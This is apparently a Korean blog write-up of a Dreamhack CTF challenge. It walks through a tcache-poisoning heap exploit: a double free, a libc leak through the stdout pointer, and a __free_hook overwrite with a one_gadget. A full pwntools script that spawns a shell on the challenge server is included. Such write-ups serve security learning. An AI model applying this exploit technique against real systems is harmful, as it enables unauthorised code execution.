본문 바로가기

System Hacking

[Dreamhack] Tcache Poisoning 풀이 - 티스토리

 

 

 

문제 코드

 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  void *chunk = NULL;
  unsigned int size;
  int idx;

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    printf("1. Allocate\n");
    printf("2. Free\n");
    printf("3. Print\n");
    printf("4. Edit\n");
    scanf("%d", &idx);

    switch (idx) {
      case 1:
        printf("Size: ");
        scanf("%d", &size);
        chunk = malloc(size);
        printf("Content: ");
        read(0, chunk, size - 1);
        break;
      case 2:
        free(chunk);
        break;
      case 3:
        printf("Content: %s", chunk);
        break;
      case 4:
        printf("Edit chunk: ");
        read(0, chunk, size - 1);
        break;
      default:
        break;
    }
  }

  return 0;
}

 

 

문제 설명

 

 

먼저 tcache poisoning을 이용하는 문제이므로, double free bug를 일으켜서 free list에 중복된 청크를 생성하고 재할당하여 fk값을 원하는 값으로 조작 후

원하는 주소에 청크를 할당하는 방식이다

 

 

 

 

코드 분석

 

코드 내에서 원하는 크기의 청크를 할당, 해제, 쓰기, 출력 모두 가능하므로 double free bug를 이용해 임의 주소 쓰기와 읽기가 모두 가능하다 

 

 

 

stdout

 

stdout을 명시적으로 코드에서 사용하게 되면 bss영역에 포인터 변수로서 저장되고, 이 변수는 libc 영역의 _IO_2_1_stdout_의 주소값을 가리키게 된다

따라서 stdout에 청크를 할당하고 이를 읽게 된다면, _IO_2_1_stdout의 주소값을 읽을 수 있다

즉, libc내 임의의 주소를 읽을 수 있다

 

 

 

 

libc 릭

 

우선 double free bug를 이용해서 stdout에 청크를 할당한 후 이 값을 읽는다 

이때, stdout이 가리키고 있는 _IO_2_1_stdout_의 주소값이 변질 되면 안 되므로 해당 주소의 첫 번째 값을  덮어준다

 

 

stdout = e.symbols['stdout']

alloc(48, b'dreamhack') # 1번쨰 청크 할당
free() # 1번째 청크 해제
 
edit(b'B'*8 + b'\x00') # DFB검사 우회
free() # DFB 발생
  
alloc(48, p64(stdout)) # 1번째 청크 fk에 stdout 주소 쓰기 (임의 주소 쓰기)
  
alloc(48, b'B'*8) # 1번째 청크 재할당
  
_io_2_1_stdout_lsb = p64(libc.symbols['_IO_2_1_stdout_'])[0:1] # 해당 주소의 첫 번째 주소 릭
  
alloc(48, _io_2_1_stdout_lsb) # stdout주소에 청크 할당

print_chunk()
 
p.recvuntil(b'Content: ')
libc_base = u64(p.recvn(6) + b'\x00'*2) - libc.symbols['_IO_2_1_stdout_']
 
og = libc_base + 0x4f432
free_hook = libc_base + libc.symbols['__free_hook']

 

 

 

hook_overwrite

 

alloc(64, b'dreahack')
free()
 
edit(b'B'*8 + b'\x00')
free()
 
alloc(64, p64(free_hook))
 
alloc(64, b'B'*8)
 
alloc(64, p64(og))
 
free() # get_shell

 

 

 

전체 exploit

 

from pwn import*
 
p = remote('host3.dreamhack.games', 16000)
e = ELF('./tcache_poison')
libc = ELF('./libc-2.27.so')
 
def alloc(size, data):
 	p.sendlineafter(b'Edit\n', str(1).encode())
 	p.sendlineafter(b'Size: ', str(size).encode())
 	p.sendafter(b'Content: ', data)
 
def free():
	p.sendlineafter(b'Edit\n', str(2).encode())
 
def print_chunk():
	p.sendlineafter(b'Edit\n', str(3).encode())
 
def edit(data):
	p.sendlineafter(b'Edit\n', str(4).encode())
	p.sendafter(b'Edit chunk: ', data)
 
stdout = e.symbols['stdout']
 
alloc(48, b'dreamhack')
free()
 
edit(b'B'*8 + b'\x00')
free()
 
alloc(48, p64(stdout))
 
alloc(48, b'B'*8)
 
_io_2_1_stdout_lsb = p64(libc.symbols['_IO_2_1_stdout_'])[0:1]
 
alloc(48, _io_2_1_stdout_lsb)
 
print_chunk()
 
p.recvuntil(b'Content: ')
libc_base = u64(p.recvn(6) + b'\x00'*2) - libc.symbols['_IO_2_1_stdout_']
og = libc_base + 0x4f432

free_hook = libc_base + libc.symbols['__free_hook']
 
alloc(64, b'dreahack')
free()
 
edit(b'B'*8 + b'\x00')
free()
 
alloc(64, p64(free_hook))
 
alloc(64, b'B'*8)
 
alloc(64, p64(og))
 
free()
 
p.interactive()